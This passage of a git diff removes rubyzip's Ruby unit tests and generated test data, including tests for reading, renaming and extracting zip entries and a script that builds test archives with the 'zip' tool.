last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/data/generated/longBinary.bin b/lib/zip/test/data/generated/longBinary.bin deleted file mode 100644 index df673254c4..0000000000 Binary files a/lib/zip/test/data/generated/longBinary.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/randomAscii1.txt b/lib/zip/test/data/generated/randomAscii1.txt deleted file mode 100644 index b2b472a203..0000000000 --- a/lib/zip/test/data/generated/randomAscii1.txt +++ /dev/null @@ -1 +0,0 @@ -0.040244959211864 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomAscii2.txt b/lib/zip/test/data/generated/randomAscii2.txt deleted file mode 100644 index 64dc85e2c4..0000000000 --- a/lib/zip/test/data/generated/randomAscii2.txt +++ /dev/null @@ -1 +0,0 @@ -0.917381580665493 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomAscii3.txt b/lib/zip/test/data/generated/randomAscii3.txt deleted file mode 100644 index c7f3a83bff..0000000000 --- a/lib/zip/test/data/generated/randomAscii3.txt +++ /dev/null @@ -1 +0,0 @@ -0.670572209005379 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomBinary1.bin b/lib/zip/test/data/generated/randomBinary1.bin deleted file mode 100644 index 593f4708db..0000000000 Binary files a/lib/zip/test/data/generated/randomBinary1.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/randomBinary2.bin b/lib/zip/test/data/generated/randomBinary2.bin deleted file mode 100644 index 593f4708db..0000000000 Binary files a/lib/zip/test/data/generated/randomBinary2.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/short.txt b/lib/zip/test/data/generated/short.txt deleted file mode 100644 index 1c5f8ba2db..0000000000 --- a/lib/zip/test/data/generated/short.txt +++ /dev/null @@ -1 +0,0 @@ -ABCDEF \ No newline at end of file diff --git a/lib/zip/test/data/generated/test1.zip b/lib/zip/test/data/generated/test1.zip deleted file mode 100644 index 2ce05cedf4..0000000000 Binary files a/lib/zip/test/data/generated/test1.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/zipWithDir.zip b/lib/zip/test/data/generated/zipWithDir.zip deleted file mode 100644 index 476120bff1..0000000000 Binary files a/lib/zip/test/data/generated/zipWithDir.zip and /dev/null differ diff --git a/lib/zip/test/data/notzippedruby.rb b/lib/zip/test/data/notzippedruby.rb deleted file mode 100755 index 036d25e92c..0000000000 --- a/lib/zip/test/data/notzippedruby.rb +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env ruby - -class NotZippedRuby - def returnTrue - true - end -end diff --git a/lib/zip/test/data/rubycode.zip b/lib/zip/test/data/rubycode.zip deleted file mode 100644 index 8a68560e63..0000000000 Binary files a/lib/zip/test/data/rubycode.zip and /dev/null differ diff --git a/lib/zip/test/data/rubycode2.zip b/lib/zip/test/data/rubycode2.zip deleted file mode 100644 index 8e1cd08f2d..0000000000 Binary files a/lib/zip/test/data/rubycode2.zip and /dev/null differ diff --git a/lib/zip/test/data/testDirectory.bin b/lib/zip/test/data/testDirectory.bin deleted file mode 100644 index cbdb9f7d74..0000000000 Binary files a/lib/zip/test/data/testDirectory.bin and /dev/null differ diff --git a/lib/zip/test/data/zipWithDirs.zip b/lib/zip/test/data/zipWithDirs.zip deleted file mode 100644 index 4b01f011ae..0000000000 Binary files a/lib/zip/test/data/zipWithDirs.zip and /dev/null differ diff --git a/lib/zip/test/gentestfiles.rb b/lib/zip/test/gentestfiles.rb deleted file mode 100755 index 45116ec5b5..0000000000 --- a/lib/zip/test/gentestfiles.rb +++ /dev/null @@ -1,160 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -class TestFiles - RANDOM_ASCII_FILE1 = "data/generated/randomAscii1.txt" - RANDOM_ASCII_FILE2 = "data/generated/randomAscii2.txt" - RANDOM_ASCII_FILE3 = "data/generated/randomAscii3.txt" - RANDOM_BINARY_FILE1 = "data/generated/randomBinary1.bin" - RANDOM_BINARY_FILE2 = "data/generated/randomBinary2.bin" - - EMPTY_TEST_DIR = "data/generated/emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.create_test_files(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - Dir.mkdir "data/generated" rescue Errno::EEXIST - - ASCII_TEST_FILES.each_with_index { - |filename, index| - create_random_ascii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - create_random_binary(filename, 1E4 * (index+1)) - } - - ensure_dir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.create_random_ascii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.create_random_binary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << [rand].pack("V") - end - } - end - - def TestFiles.ensure_dir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - - - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zip_name, :entry_names, :comment - - def initialize(zip_name, entry_names, comment = "") - @zip_name=zip_name - @entry_names=entry_names - if "".respond_to? :force_encoding - @entry_names.each {|name| name.force_encoding("ASCII-8BIT")} - end - @comment = comment - end - - def TestZipFile.create_test_zips(recreate) - files = Dir.entries("data/generated") - if (recreate || - ! (files.index(File.basename(TEST_ZIP1.zip_name)) && - files.index(File.basename(TEST_ZIP2.zip_name)) && - files.index(File.basename(TEST_ZIP3.zip_name)) && - files.index(File.basename(TEST_ZIP4.zip_name)) && - files.index("empty.txt") && - files.index("empty_chmod640.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} data/file2.txt") - raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} -d data/file2.txt") - - File.open("data/generated/empty.txt", "w") {} - File.open("data/generated/empty_chmod640.txt", "w") { |f| f.chmod(0640) } - - File.open("data/generated/short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("data/file2.txt") { |file| ziptestTxt=file.read } - File.open("data/generated/longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("data/generated/empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("data/generated/longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand << "\0" - end - } - raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless - system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless - system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless - system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("data/generated/empty.zip", []) - TEST_ZIP2 = TestZipFile.new("data/generated/5entry.zip", %w{ data/generated/longAscii.txt data/generated/empty.txt data/generated/empty_chmod640.txt data/generated/short.txt data/generated/longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("data/generated/test1.zip", %w{ data/file1.txt }) - TEST_ZIP4 = TestZipFile.new("data/generated/zipWithDir.zip", [ "data/file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -END { - TestFiles::create_test_files(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - TestZipFile::create_test_zips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - exit if ARGV.index("recreateonly") != nil -} diff --git a/lib/zip/test/ioextrastest.rb b/lib/zip/test/ioextrastest.rb deleted file mode 100755 index b18e9db987..0000000000 --- a/lib/zip/test/ioextrastest.rb +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/ioextras' - -include IOExtras - -class FakeIOTest < Test::Unit::TestCase - class FakeIOUsingClass - include FakeIO - end - - def test_kind_of? - obj = FakeIOUsingClass.new - - assert(obj.kind_of?(Object)) - assert(obj.kind_of?(FakeIOUsingClass)) - assert(obj.kind_of?(IO)) - assert(!obj.kind_of?(Fixnum)) - assert(!obj.kind_of?(String)) - end -end - -class AbstractInputStreamTest < Test::Unit::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - super() - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produce_input - read(100) - end - - def input_finished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equal(TEST_LINES[0], @io.gets) - assert_equal(1, @io.lineno) - assert_equal(TEST_LINES[1], @io.gets) - assert_equal(2, @io.lineno) - assert_equal(TEST_LINES[2], @io.gets) - assert_equal(3, @io.lineno) - assert_equal(nil, @io.gets) - assert_equal(4, @io.lineno) - end - - def test_getsMultiCharSeperator - assert_equal("Hell", @io.gets("ll")) - assert_equal("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equal(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equal(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class AbstractOutputStreamTest < Test::Unit::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equal("a little string", @outputStream.buffer) - assert_equal("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equal("a little string. a little more", @outputStream.buffer) - assert_equal(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equal("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equal("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equal("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equal("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equal("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equal("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equal("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equal("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equal("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equal("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equal("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equal("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equal("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equal("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equal("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equal("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -# Copyright (C) 2002-2004 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/stdrubyexttest.rb b/lib/zip/test/stdrubyexttest.rb deleted file mode 100755 index f11608f7f3..0000000000 --- a/lib/zip/test/stdrubyexttest.rb +++ /dev/null @@ -1,52 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/stdrubyext' - -class ModuleTest < Test::Unit::TestCase - - def test_select_map - assert_equal([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e }) - end - -end - -class StringExtensionsTest < Test::Unit::TestCase - - def 